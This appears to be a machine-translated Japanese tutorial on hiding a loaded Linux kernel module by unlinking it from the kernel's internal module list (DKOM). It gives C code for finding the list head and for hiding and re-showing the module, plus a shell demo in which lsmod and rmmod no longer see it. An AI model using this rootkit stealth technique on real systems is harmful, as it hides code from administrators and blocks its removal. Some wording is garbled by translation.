DKOMを使用したLinuxカーネルモジュールの単純なマスキング

ご存知のように、ユーザーのいたるところにある「目」からカーネルモジュールを隠すタスクには、多くのアプリケーションがあります。 この記事では、 DKOM (Direct Kernel Object Manipulation)の使用について説明します。これは、カーネルの内部構造を変更することで情報を隠すことができる技術の1つです。



次に、システム内のモジュールの存在の目に見える兆候を隠し、結果としてそれをアンロードできないことを隠すために、このテクニックのアプリケーションの機能を検討します。







名前が示すように、DKOMはカーネルの内部構造を操作する操作に基づいています。 この場合、変更される構造は、システムにロードされたすべてのモジュールへのリンクを含むモジュールの内部リストです



カーネル内のモジュールのプレゼンテーション





Linuxカーネルモジュール記述子の構造は、同じ名前の構造であり、次のようにlinux / modules.hで説明されています。



223 struct module 224 { 225 enum module_state state; 226 227 /* Member of list of modules */ 228 struct list_head list; 229 230 /* Unique handle for this module */ 231 char name[MODULE_NAME_LEN]; ... 378 };
      
      







とりわけ、この構造にはlist



フィールドが含まれます。これはリンクリストの要素であり、このフィールドを介してカーネルモジュールの一般リストにリンクされます。 後者は、 カーネル/ module.cファイルで宣言され、対応する(エクスポートされた) ミューテックスによって保護された、エクスポートできない内部リストです



 103 DEFINE_MUTEX(module_mutex); 104 EXPORT_SYMBOL_GPL(module_mutex); 105 static LIST_HEAD(modules);
      
      







モジュールをロードすると、カーネルはモジュールをリストに追加します。 アンロード時-除外。 一般に、何らかの方法でロードされたモジュールの列挙を必要とするすべての操作は、この内部リストのカーネルによる繰り返しになります。



ロードされたモジュールの列挙





システムにロードされたモジュールをリストするには、現在のモジュールの記述子構造を参照するTHIS_MODULE



マクロを使用すると便利です。 先に検討したlist



フィールドは、カーネルの腸内のどこかにヘッド記述子を持つモジュールの一般リストの要素になります。 したがって、システムにロードされたモジュールのリストをリストする機能は次のとおりです。



 static void list_modules(void) { struct module * mod; struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); debug("List of available modules:\n"); list_for_each(pos, &THIS_MODULE->list) { bool head = (unsigned long)pos >= MODULES_VADDR; mod = container_of(pos, struct module, list); debug(" pos:%pK mod:%pK [%s]\n", pos, \ head ? mod : 0, head ? mod->name : "<- looking for"); } mutex_unlock(&module_mutex); }
      
      







ご覧のとおり、まず、対応するミューテックスをキャプチャして、列挙時に誰かがモジュールの1つをアンロードしようとしても同期に問題がないようにする必要があります。



さらに、列挙の重要なポイントは、リストの先頭のアドレス、つまりモジュール構造の決定です。 Linuxカーネルでリンクリストを整理する特性のため、ヘッドはどのモジュールにも接続されていません。 また、 モジュール記述子がモジュール範囲のアドレス( MODULES_VADDR - MODULES_END )から割り当てられる場合、アドレスがこの範囲に属しているかどうかを判断するのは簡単です。 以下は、マシンの1つで取得したこの関数の結果です。



 [11025.656372] [findme] List of available modules: [11025.656377] [findme] pos:ffffffffa02a7388 mod:ffffffffa02a7380 [ipheth] [11025.656380] [findme] pos:ffffffffa02b9108 mod:ffffffffa02b9100 [pci_stub] [11025.656382] [findme] pos:ffffffffa01e7028 mod:ffffffffa01e7020 [vboxpci] [11025.656385] [findme] pos:ffffffffa01dd148 mod:ffffffffa01dd140 [vboxnetadp] [11025.656387] [findme] pos:ffffffffa01d4028 mod:ffffffffa01d4020 [vboxnetflt] ... [11025.656477] [findme] pos:ffffffffa00205c8 mod:ffffffffa00205c0 [3c59x] [11025.656480] [findme] pos:ffffffffa000c108 mod:ffffffffa000c100 [r8169] [11025.656483] [findme] pos:ffffffff81c2daf0 mod:0000000000000000 [<- looking for]
      
      







最後の行は、目的の構造がffffffff81c2daf0



にあることを明確に示しています。これは、コマンドを実行することで確認できます。



 # grep -w modules /proc/kallsyms ffffffff81c2daf0 d modules
      
      







したがって、任意のモジュールを使用して、リスト項目をソートし、ルート構造を簡単に見つけることができます。 その際立った機能は、モジュールに一般的ではないアドレス( ffffffff81xxxxxx



ffffffffa0xxxxxx



)であり、 使用されました



 struct list_head * get_modules_head(void) { struct list_head * pos; while(!mutex_trylock(&module_mutex)) cpu_relax(); list_for_each(pos, &THIS_MODULE->list) { if ((unsigned long)pos < MODULES_VADDR) { break; } } mutex_unlock(&module_mutex); if (pos) { debug("Found \"modules\" head @ %pK\n", pos); } else { debug("Can't find \"modules\" head, aborting\n"); } return pos; }
      
      







モジュールリストの操作





モジュールの隠蔽は原則として難しくありません。なぜなら、 リストからアイテムを削除する操作には、このアイテム以外は必要ありません。 再挿入操作には、既存のリスト項目のいずれかが必要です。 この場合、システムのルート要素が使用されます。 したがって、モジュールの非表示と再追加は次のとおりです。



 static void hide_or_show(int new) { while(!mutex_trylock(&module_mutex)) cpu_relax(); if (new == 1) { /* 0 -> 1 : hide */ list_del(&THIS_MODULE->list); debug("Module \"%s\" unlinked\n", THIS_MODULE->name); } else { /* 1 -> 0 : show */ list_add(&THIS_MODULE->list, p_modules); debug("Module \"%s\" linked again\n", THIS_MODULE->name); } mutex_unlock(&module_mutex); }
      
      







最初のケースでlist_delを使用してリストを除外します。 2番目のlist_add 両方の操作は、対応するミューテックスをキャプチャすることにより保護されます。



実用部





準備された例には、マスキング関数を実装するモジュールコードが含まれています。 確認するには、モジュールをビルドし、 make



およびinsmod



使用して標準ツールでロードする必要があります



さらに、ロード後すぐに、モジュールはlsmod



またはrmmod



介して利用可能になります。 以下は、マスキング機能を検証する一連のアクションです。



 # insmod findme.ko # lsmod | grep findme findme 12697 0 # sysctl -w findme=1 findme = 1 # lsmod | grep findme # rmmod findme libkmod: ERROR ../libkmod/libkmod-module.c:753 kmod_module_remove_module: could not remove 'findme': No such file or directory Error: could not remove module findme: No such file or directory # sysctl -w findme=0 findme = 0 # lsmod | grep findme findme 12697 0 # rmmod findme
      
      







したがって、コアモジュールをpr索好きな目から単純に隠すことが可能です。 提示された例には、実験に必要なコードが含まれています。



読むために





1. カーネルオブジェクトの直接操作

2. Linuxカーネルのリンクリストの説明

3. Linuxカーネルの設計パターン-パート2



All Articles